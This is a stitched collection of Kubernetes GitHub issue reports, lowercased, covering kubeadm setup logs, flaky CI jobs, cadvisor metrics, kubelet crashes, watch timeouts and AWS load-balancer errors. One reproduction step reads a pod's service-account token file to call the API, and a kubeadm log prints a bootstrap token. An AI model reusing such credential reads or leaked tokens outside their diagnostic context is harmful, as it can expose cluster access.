generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  orhlp-dck013 kubernetes kubernetes.default kubernetes.default.svc kubernetes.def\r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  orhlp-dck013 localhost orhlp-dck013  and ips  127.0.0.1 ::1 10.141.36.39 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  orhlp-dck013 localhost orhlp-dck013  and ips  10.141.36.39 127.0.0.1 ::1 10.141.\r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  endpoint  warning: port specified in api.controlplaneendpoint overrides api.bindport in the controlplane address\r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this might take a minute or longer if the control plane images have to be pulled\r  apiclient  all control plane components are healthy after 41.505156 seconds\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  kubelet  creating a configmap \ kubelet-config-1.11\  in namespace kube-system with the configuration for the kubelets in the cluster\r  markmaster  marking the node orhlp-dck013 as master by adding the label \ node-role.kubernetes.io/master=''\ \r  markmaster  marking the node orhlp-dck013 as master by adding the taints  node-role.kubernetes.io/master:noschedule \r  patchnode  uploading the cri socket information \ /var/run/dockershim.sock\  to the node api object \ orhlp-dck013\  as an annotation\r  bootstraptoken  using token: o26lcx.n163z6mdwhrdk5y2\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  bootstraptoken  creating the \ cluster-info\  configmap in the \ kube-public\  namespace\r  addons  applied essential addon: coredns\r  endpoint  warning: port specified in api.controlplaneendpoint overrides api.bindport in the controlplane address\r  addons  applied essential addon: kube-proxy\r  self-hosted  creating self-hosted control plane\r  apiclient  found 0 pods for label selector k8s-app=self-hosted-kube-apiserver\r  apiclient  found 1 pods for label selector k8s-app=self-hosted-kube-apiserver\r  apiclient  the old pod \ kube-apiserver-orhlp-dck013\  is now removed  which is desired \r  apiclient  all control plane components are healthy after 0.001633 seconds\r  self-hosted  self-hosted kube-apiserver ready after 16.196415 seconds\r  apiclient  found 0 pods for label selector k8s-app=self-hosted-kube-controller-manager\r  apiclient  found 1 pods for label selector k8s-app=self-hosted-kube-controller-manager\r  apiclient  the old pod \ kube-controller-manager-orhlp-dck013\  is now removed  which is desired \r  apiclient  all control plane components are healthy after 0.001798 seconds\r  self-hosted  self-hosted kube-controller-manager ready after 10.018405 seconds\r  apiclient  found 0 pods for label selector k8s-app=self-hosted-kube-scheduler\r  apiclient  found 1 pods for label selector k8s-app=self-hosted-kube-scheduler\r  apiclient  the old pod \ kube-scheduler-orhlp-dck013\  is now removed  which is desired \r  apiclient  all control plane components are healthy after 0.002053 seconds\r  self-hosted  self-hosted kube-scheduler ready after 1.024357 seconds\r \r your kubernetes master has initialized successfully!\r    \r please notice that the  docker  warnings are related to the fact that i'm using  containerd 1.1.2 .\r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: on-premise local\r - os  e.g. from /etc/os-release : oracle linux server 7.5\r - kernel  e.g.  uname -a  : 4.17.2-1.el7.elrepo.x86_64\r - install tools: kubeadm self-hosted\r - others: containerd 1.1.2  not docker \r

flaky job: pr:pull-kubernetes-e2e-gce-device-plugin-gpu  flakes in the past week:   26    consistency:   93.30%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 6 | |  sig-scheduling   feature:gpudeviceplugin  run nvidia gpu device plugin tests | 6 | | stage | 5 |       previously closed issues for this job flaking:  56736     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r we've discovered thousands of the following metrics coming from kubelet/cadvisor:\r    \r container_spec_cpu_shares{container_name=\ \ ,id=\ /system.slice/run-rff96cd8a5efc440a9058bb22fc48b9ce.scope\ ,image=\ \ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } 1024\r container_spec_cpu_shares{container_name=\ \ ,id=\ /system.slice/run-rff99d500efac414a8229d6dc7e3b26d0.scope\ ,image=\ \ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } 1024\r container_spec_cpu_shares{container_name=\ \ ,id=\ /system.slice/run-rff9b622f4a0d49a2a4f45751d83d63d9.scope\ ,image=\ \ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } 1024\r container_spec_cpu_shares{container_name=\ \ ,id=\ /system.slice/run-rff9d102754c24955b6a163d6c9987b90.scope\ ,image=\ \ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } 1024\r    \r \r   what you expected to happen  :\r \r getting  container_spec_cpu_shares  metrics with a proper  container_name . further we've expect the metrics to disappear once the container was removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r get metrics i.e. from within a k8s pod:\r \r    bash\r $ wget --header 'authorization: bearer '$  cat  /var/run/secrets/kub\r ernetes.io/serviceaccount/token   https://kubernetes.default.svc:443/api/v1/node\r s/<node name>/proxy/metrics/cadvisor\r $ cat cadvisor | grep -v ^  | awk -f\\{ '{print $1}' | sort | uniq -\r c\r       1 cadvisor_version_info\r      12 container_cpu_cfs_periods_total\r      12 container_cpu_cfs_throttled_periods_total\r      12 container_cpu_cfs_throttled_seconds_total\r    9090 container_cpu_load_average_10s\r    9090 container_cpu_schedstat_run_periods_total\r    9090 container_cpu_schedstat_run_seconds_total\r    9090 container_cpu_schedstat_runqueue_seconds_total\r    9090 container_cpu_system_seconds_total\r    9053 container_cpu_usage_seconds_total\r    9090 container_cpu_user_seconds_total\r      86 container_fs_inodes_free\r      86 container_fs_inodes_total\r     243 container_fs_io_current\r     243 container_fs_io_time_seconds_total\r      86 container_fs_io_time_weighted_seconds_total\r      86 container_fs_limit_bytes\r     243 container_fs_read_seconds_total\r     157 container_fs_reads_bytes_total\r     243 container_fs_reads_merged_total\r     243 container_fs_reads_total\r     243 container_fs_sector_reads_total\r     243 container_fs_sector_writes_total\r      86 container_fs_usage_bytes\r     243 container_fs_write_seconds_total\r     157 container_fs_writes_bytes_total\r     243 container_fs_writes_merged_total\r     243 container_fs_writes_total\r    9090 container_last_seen\r    9090 container_memory_cache\r    9090 container_memory_failcnt\r   36360 container_memory_failures_total\r    9090 container_memory_max_usage_bytes\r    9090 container_memory_rss\r    9090 container_memory_swap\r    9090 container_memory_usage_bytes\r    9090 container_memory_working_set_bytes\r      75 container_network_receive_bytes_total\r      75 container_network_receive_errors_total\r      75 container_network_receive_packets_dropped_total\r      75 container_network_receive_packets_total\r   99990 container_network_tcp_usage_total\r      75 container_network_transmit_bytes_total\r      75 container_network_transmit_errors_total\r      75 container_network_transmit_packets_dropped_total\r      75 container_network_transmit_packets_total\r   36360 container_network_udp_usage_total\r       1 container_scrape_error 0\r    9089 container_spec_cpu_period\r      12 container_spec_cpu_quota\r    9089 container_spec_cpu_shares\r    9089 container_spec_memory_limit_bytes\r    9089 container_spec_memory_reservation_limit_bytes\r    9089 container_spec_memory_swap_limit_bytes\r    9090 container_start_time_seconds\r   45450 container_tasks_state\r       1 machine_cpu_cores 12\r    \r \r   environment  :\r - kubelet running with params:\r    \r /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kube-config-master.yaml --register-schedulable=true --cni-conf-dir=/etc/kubernetes/cni/net.d --network-plugin=cni --container-runtime=docker --pod-manifest-path=/etc/kubernetes/manifests --node-ip=192.168.254.1 --cluster_dns=10.3.0.10 --cluster_domain=xxxxxxx --eviction-hard=imagefs.available<50gi,memory.available<500mi,nodefs.available<50gi --allow-privileged=true\r    \r \r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ archive\ , builddate:\ 2018-07-23t14:43:39z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.4\ , gitcommit:\ bf9a868e8ea3d3a8fa53cbb22f566771b3f8068b\ , gittreestate:\ clean\ , builddate:\ 2018-10-25t19:06:30z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare metal setup running on vservers\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  : linux ginger 4.14.34-041434-generic\r - install tools:\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-serial\r \r   which test s  are failing  :\r localvolumetype: gce-localssd-scsi-fs\r \r   since when has it been failing  :\r 2/20\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4710\r \r   reason for failure  :\r unsure yet\r \r /assign\r

<!-- please only use this template for submitting enhancement requests -->\r   what would you like to be added  :\r we  added the plugin interface and a couple of extension points  https://github.com/kubernetes/kubernetes/pull/70227  for the scheduling framework a few months ago. we improved the scheduling framework design later and made  the interface  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md plugin-api  better.\r the implementation of the interface, the existing extension points, and plugin examples need to be updated to be aligned with the newly proposed interface.\r \r  /assign

@yifan-gu i encountered this when fixing another issue, correct me if i made mistake :   in apiversion   :  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/rkt/rkt.go l1064  it seems rkt runtime returns  binversion  instead of  apiversion , is this a bug?

what keywords did you search in kubernetes issues before filing this one?  : - duplicate volumes - volumes  ---    is this a bug report or feature request?    choose one : - bug report  -->    kubernetes version    use  kubectl version  : server: v1.3.4 client: v1.3.0    environment  : -   cloud provider or hardware configuration  : - gke -   os    e.g. from /etc/os-release : - gke container-vm  image -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : when using \ source\  as volume name in a pod or deployment spec, it fails with the \ spec.template.spec.containers 0 .volumemounts 0 .name: not found: \ source\ \ .    what you expected to happen  : kubectl apply -f should not have thrown an error, but deployed the latest volume.    how to reproduce it    as minimally and precisely as possible : - create a pod with at least 2 containers  including init containers  - use an emptydir volume named \ source\  - create this pod or deployment    anything else do we need to know  : when adding a second volume definition with the same name it works.  does not work:      volumes:       - name: source         emptydir: {}      does work:      volumes:       - name: source         emptydir: {}       - name: source         emptydir: {}      does also work:      volumes:       - name: source2         emptydir: {}      as a sidenote. applying the duplicate volumes works and getting the yaml from the apiserver actually only returns one volume.

hello, i want to do a fresh install of kubernetes via kubeadm, but when i start the install i'm stuck on \r \r   apiclient  created api client, waiting for the control plane to become ready \r \r when i do a  journalctl -xe  i see :\r \r  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized \r \r and i don't why i get this error. i also tried to disable firewalld but no effect.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64\r - install tools: kubeadm\r - others:\r docker version :  docker version 17.06.0-ce, build 02c1d87 \r my rpm version :\r \r  kubeadm-1.7.0, kubectl-1.7.0, kubelet-1.7.0, kubernetes-cni-0.5.1  \r \r \r thanks for your help\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/52035/pull-kubernetes-e2e-kops-aws/47388/\r \r    \r w0907 00:04:59.429  + kubetest --deployment kops --kops /workspace/kops --kops-cluster e2e-47386.test-aws.k8s.io --kops-zones=us-east-2a --kops-state=s3://k8s-kops-jenkins/ --kops-nodes=4 --kops-ssh-key=/workspace/.ssh/kube_aws_rsa --build --stage=gs://kubernetes-release-pull/ci/pull-kubernetes-e2e-kops-aws --kops-kubernetes-version=https://storage.googleapis.com/kubernetes-release-pull/ci/pull-kubernetes-e2e-kops-aws/v1.9.0-alpha.0.402+40e28ed885eae8 --check-leaked-resources=false --extract=local --provider=aws '--test_args=--ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ hpa\\ |dashboard|services. functioning. nodeport' --kops-admin-access 104.154.158.34/32 -v --dump=/workspace/_artifacts --extract=local --check-leaked-resources --up --down --test '--test_args=--ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ hpa\\ |dashboard|services. functioning. nodeport'\r w0907 00:04:59.431  flag provided but not defined: -provider\r w0907 00:04:59.432  usage of kubetest:\r w0907 00:04:59.432    -build\r w0907 00:04:59.432      \trebuild k8s binaries, optionally forcing  make|quick|bazel  stategy\r w0907 00:04:59.432    -charts\r w0907 00:04:59.432      \tif true, run charts tests\r ...\r

is this a bug report or feature request?  :\r  @kubernetes/sig-testing-bugs \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/57552/pull-kubernetes-verify/70802/ failed with:\r    \r i0109 13:45:01.919  +++  0109 13:45:01  downloading dependencies - this might take a while\r w0109 13:45:02.602    cd .; git clone https://bitbucket.org/bertimus9/systemstat.git /go/src/k8s.io/kubernetes/_output/dockerized/go/src/bitbucket.org/bertimus9/systemstat\r w0109 13:45:02.603  cloning into '/go/src/k8s.io/kubernetes/_output/dockerized/go/src/bitbucket.org/bertimus9/systemstat'...\r w0109 13:45:02.603  fatal: unable to access 'https://bitbucket.org/bertimus9/systemstat.git/': gnutls recv error  -110 : the tls connection was non-properly terminated.\r w0109 13:45:02.604  godep: error downloading dep  bitbucket.org/bertimus9/systemstat : exit status 128\r w0109 13:47:50.706  godep: error downloading some deps. aborting restore and check.\r w0109 13:47:50.986  !!!  0109 13:47:50  call tree:\r w0109 13:47:50.987  !!!  0109 13:47:50   1: /go/src/k8s.io/kubernetes/build/../build/common.sh:551 kube::build::run_build_command_ex ... \r w0109 13:47:50.989  !!!  0109 13:47:50   2: /go/src/k8s.io/kubernetes/build/run.sh:39 kube::build::run_build_command ... \r i0109 13:47:51.089  failed   verify-staging-godeps.sh\t185s\r    \r \r   what you expected to happen  :\r \r the dependencies should be fetched when the container for running this test is built, not at test time.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   what happened  :\r there are many pods  59  in my node,when i restart it.i found it never start successfully.it just log:\r    \r f0110 21:30:25.764493   42304 kubelet.go:1230  failed to start cadvisor inotify_init: too many open files\r goroutine 356  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0xc42000e001, 0xc421696000, 0xb09, 0x2710 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa7\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x4fcdd20, 0xc400000003, 0xc420a54000, 0x4c16a06, 0xa, 0x4ce, 0x0 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:720 +0x1a3\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x4fcdd20, 0xc400000003, 0x3458e8c, 0x1b, 0xc4210cdd50, 0x1, 0x1 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14f\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x3458e8c, 0x1b, 0xc4210cdd50, 0x1, 0x1 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r k8s.io/kubernetes/pkg/kubelet.  kubelet .initializeruntimedependentmodules 0xc420e58000 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1230 +0xa4\r k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.initializeruntimedependentmodules -fm  \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2083 +0x2a\r sync.  once .do 0xc420e589d0, 0xc420df5e08 \r         /usr/lib/golang/src/sync/once.go:44 +0xbe\r k8s.io/kubernetes/pkg/kubelet.  kubelet .updateruntimeup 0xc420e58000 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2083 +0x33d\r k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.updateruntimeup -fm  \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1258 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc420417d70 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:96 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc420417d70, 0x12a05f200, 0x0, 0x1, 0xc4200a2120 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0xad\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc420417d70, 0x12a05f200, 0xc4200a2120 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x4d\r created by k8s.io/kubernetes/pkg/kubelet.  kubelet .run\r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1258 +0x1e9\r \r goroutine 1  chan receive :\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc4207f8600, 0xc420402000, 0xc400000000, 0xc4207ba270 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:595 +0x4cc\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc4207f8600, 0x0, 0x0, 0x0 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:285 +0x39\r main.main  \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:48 +0x8a\r \r goroutine 17  syscall, locked to thread :\r runtime.goexit  \r         /usr/lib/golang/src/runtime/asm_amd64.s:2197 +0x1\r \r goroutine 5  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x4fcdd20 \r         /home/sankuai/code/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x7a\r \ /opt/logs/kubelet/kubelet.error\   readonly  1232l, 103325c\r    \r it seems that cadvisor block when watching new files.does anybody know how it happened and how to fix it?\r \r after following into code ,i found error happened in  kubernetes/vendor/github.com/google/cadvisor/manager/watcher/raw/raw.go:56\r following to the function  common.newinotifywatcher   \r    \r func newwatcher     watcher, error  {\r \tfd, errno := syscall.inotifyinit  \r \tif fd == -1 {\r \t\treturn nil, os.newsyscallerror \ inotify_init\ , errno \r \t}\r \tw := &watcher{\r \t\tfd:      fd,\r \t\twatches: make map string  watch ,\r \t\tpaths:   make map int string ,\r \t\tevent:   make chan  event ,\r \t\terror:   make chan error ,\r \t\tdone:    make chan bool, 1 ,\r \t}\r \r \tgo w.readevents  \r \treturn w, nil\r }\r    \r the code says the syscall inotifyinit return error 'too many open files'\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.6.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos linux 7  core \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r watches done with the  timeout  field of  listoptions  set to some value t end after t regardless of whether there has been any activity in the meantime.\r \r   what you expected to happen  :\r i expected the watch to end when no events have been delivered in the last t.  in ordinary usage, a \ timeout\  is something that happens _if_ there has been no activity for the specified length of time.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a configmap named  b  in namespace  foo .  then in one shell thrash it periodically like this:\r \r    \r $ while true; do kubectl patch configmap b -n foo -p '{\ data\ : {\ b\ : \ x\ }}'; sleep 7; kubectl patch configmap b -n foo -p '{\ data\ : {\ b\ : \ y\ }}'; sleep 7; done\r    \r observe that it proceeds to update the configmap every 7 seconds or so.\r \r in another shell do a watch with a timeout; observe that it ends even though the thrashing continues.\r    \r $ date; curl 'http://localhost:8080/api/v1/namespaces/foo/configmaps?watch=true&timeoutseconds=42'; date\r sat jan 20 01:44:31 utc 2018\r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205310\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ y\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205577\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ x\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205591\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ y\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205605\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ x\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205619\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ y\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205634\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ x\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ configmap\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ b\ ,\ namespace\ :\ foo\ ,\ selflink\ :\ /api/v1/namespaces/foo/configmaps/b\ ,\ uid\ :\ 2769c179-fd64-11e7-8d7f-525400178201\ ,\ resourceversion\ :\ 2205647\ ,\ creationtimestamp\ :\ 2018-01-19t22:00:25z\ },\ data\ :{\ b\ :\ y\ }}}\r sat jan 20 01:45:13 utc 2018\r $ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local hardware\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux n17s2ctrl 4.4.0-34-generic  53-ubuntu smp wed jul 27 16:06:39 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: local\r - others:\r

what happened  :\r when i configure a k8s object, such as ingres, i can only look at the sample of ingress through some documentation, and then refer to the sample to configure the yaml file.\r \r   what you expected to happen  :\r i want to know where the k8s parse the yaml file. by looking at the parse code, i know what the parameters of each k8s version of the supported ingress object are, and what capabilities are supported\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.8.2\r - os  e.g. from /etc/os-release :centos7.4\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r the service with the annotation nlb produced an error \r  \r   warning  creatingloadbalancerfailed  3s  x6 over 25m    service-controller   combined from similar events : error creating load balancer  will retry : failed to ensure load balancer for service monitoring/cluster-monitoring-nginx-ingress-controller: error registering targets for load balancer: \ invalidtarget: targets {i-0f505894b2aa7583a} are not supported\ \\tstatus code: 400, request id: dd4c8ec9-848c-11e8-b50b-5f8d3df2fe11\r   what you expected to happen  :\r \r the m2 should be ignored during selection of the target groups or added by ip which is supported by aws nlb.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r simple create an nginx-ingress with nlb service anotation. have 2 nodes running one m2.xxxx and one c4.xxxx\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-28t20:03:09z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-28t20:13:43z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws eks\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r here a snipped from the aws documentation.\r \r you cannot register instances by instance id if they have the following instance types: c1, cc1, cc2, cg1, cg2, 